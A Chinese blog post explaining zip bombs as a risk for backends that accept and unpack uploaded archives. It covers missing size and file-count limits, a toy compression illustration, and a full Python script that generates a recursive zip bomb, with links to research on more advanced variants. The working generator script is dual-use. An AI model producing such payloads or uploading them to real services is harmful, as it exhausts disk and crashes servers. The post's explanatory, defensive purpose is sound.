Loading... # 1、背景 刚刚和朋友讨论一个后台上传压缩包和解压缩功能的场景,里面可能存在的一些安全缺陷: * 没有对上传的压缩包大小和个数做限制,造成后台磁盘空间爆炸,影响服务及系统的运行 * 后台支持压缩包解压缩,但没有对解压缩后的文件大小和个数做限制,后果和上述是一致的 在后台不存在解压缩校验时,攻击者使用一个特别小的压缩包炸弹文件就可以崩溃整个服务器。 # 2、分析 ## 2.1、基本原理 压缩算法的思路有很多,有一种最简单的思路可以是以下这样子的。假设有如下原始数据: > 1 1 1 2 3 3 3 3 3 3 如果不压缩,那么存储该内容的文件大小就是 10 Bytes。然后我们设计一种算法,存储如下数据: > 3 1 1 2 6 3 这种算法将数据两两一对视为一个数据描述项,项中第一个字节数据指示第二个字节数据出现了多少次。用该算法描述上述数据,那就可以还原得到数据是 3 个 1,接着 1 个 2,再接着 6 个 3。此时文件大小是 6 个字节。 可以看到,使用该算法,我们将一个文件大小从 10 字节压缩到了 6 字节,在该文件内容场景下,压缩率是 60%。这其实就是一个简单的压缩算法。 很容易我们就可以得到一个压缩数据示例: > 256 1 上述只用 2 个字节的压缩数据就可以解压缩得到 256 字节的原始数据,压缩比率是 0.78%。如果我们扩展一下算法,每一个数据项设计为前 4 个字节指示第 5 个字节数据出现了多少次,则我们可以得到一个非常夸张的压缩数据示例: > 4294967295 1 4294967295 是 4 字节内存可以表达的最大数值,这里意思是 4294967295 个 1 字节数据组成的文件,或者说是 4GB 大小的文件。可以看到我们只用 2 字节大小的压缩文件,就能解压缩得到 4GB 大小的原始文件,压缩率是 2 / 4294967295。 现实的压缩算法当然要复杂的多,我们不讨论。但这个例子已经足以窥见压缩包炸弹的原理了。 ## 2.2、递归压缩构造的压缩包炸弹 这里介绍一个项目:https://github.com/abdulfatir/ZipBomb 关键代码精练且简单: ```python import zlib import zipfile import shutil import os import sys import time def get_file_size(filename): st = os.stat(filename) return st.st_size def generate_dummy_file(filename,size): with open(filename,'w') as dummy: for i in xrange(1024): dummy.write((size*1024*1024)*'0') def get_filename_without_extension(name): return name[:name.rfind('.')] def get_extension(name): return name[name.rfind('.')+1:] def compress_file(infile,outfile): zf = zipfile.ZipFile(outfile, mode='w', allowZip64= True) zf.write(infile, compress_type=zipfile.ZIP_DEFLATED) zf.close() def make_copies_and_compress(infile, outfile, n_copies): zf = zipfile.ZipFile(outfile, mode='w', allowZip64= True) for i in xrange(n_copies): f_name = '%s-%d.%s' % (get_filename_without_extension(infile),i,get_extension(infile)) shutil.copy(infile,f_name) zf.write(f_name, compress_type=zipfile.ZIP_DEFLATED) os.remove(f_name) zf.close() if __name__ == '__main__': if len(sys.argv) < 3: print 'Usage:\n' print ' zipbomb.py n_levels out_zip_file' exit() n_levels = int(sys.argv[1]) out_zip_file = sys.argv[2] dummy_name = 'dummy.txt' start_time = time.time() generate_dummy_file(dummy_name,1) level_1_zip = '1.zip' compress_file(dummy_name, level_1_zip) os.remove(dummy_name) decompressed_size = 1 for i in xrange(1,n_levels+1): make_copies_and_compress('%d.zip'%i,'%d.zip'%(i+1),10) decompressed_size *= 10 os.remove('%d.zip'%i) if os.path.isfile(out_zip_file): os.remove(out_zip_file) os.rename('%d.zip'%(n_levels+1),out_zip_file) end_time = time.time() print 'Compressed File Size: %.2f KB'%(get_file_size(out_zip_file)/1024.0) print 'Size After Decompression: %d GB'%decompressed_size print 'Generation Time: %.2fs'%(end_time - start_time) ``` 首先构造一个 1MB 大小,数据全为 '0' 字符的文件。代码中用到的是 ZIP_DEFLATED 算法,该算法在面对这样一长串重复的数据时,采用的思路和我们上述设计算法是类似的。然后将其反复压缩,即第一轮压缩得到压缩文件后,将该文件再一次压缩,具体轮数可由参数控制。多轮压缩后就可得到一个压缩包炸弹文件。用项目中的例子说明是: > 30.52KB ------ 解压缩得 -------> 10000000000 GB 这其实是压缩包炸弹中最常见的一种,即通过**递归压缩**方式构造的压缩包炸弹。 ## 2.3、控制压缩包描述数据的压缩包炸弹 另一个项目是:https://github.com/CreeperKong/zipbomb-generator。 相关文章:https://www.bamsoftware.com/hacks/zipbomb/。 该项目对压缩包炸弹的研究非常深入。根据其研究,递归压缩方式构造的压缩包炸弹有着一个限制是,ZIP_DEFLATED 压缩算法本身对压缩率有一个限制为 1032。那怎么绕过这个限制,从而构造一个压缩率更大的压缩包炸弹呢,这就得从 ZIP 格式文件本身下手了。 ZIP 格式文件的描述结构为如下: ![A block diagram of the structure of a zip file. The central directory header consists of three central directory headers labeled CDH[1] (README), CDH[1] (Makefile), and CDH[3] (demo.c). The central directory headers point backwards to three local file headers LFH[1] (README), LFH[2] (Makefile), and LFH[3] (demo.c). Each local file header is joined with file data. The three joined blocks of (local file header, file data) are labeled file 1, file 2, and file 3.](http://47.117.131.13/usr/uploads/2022/05/3900879893.png) 具体绕过逻辑,得具体看文章分析,这里就不多讲述了。 最后修改:2022 年 05 月 09 日 09 : 02 PM © 允许规范转载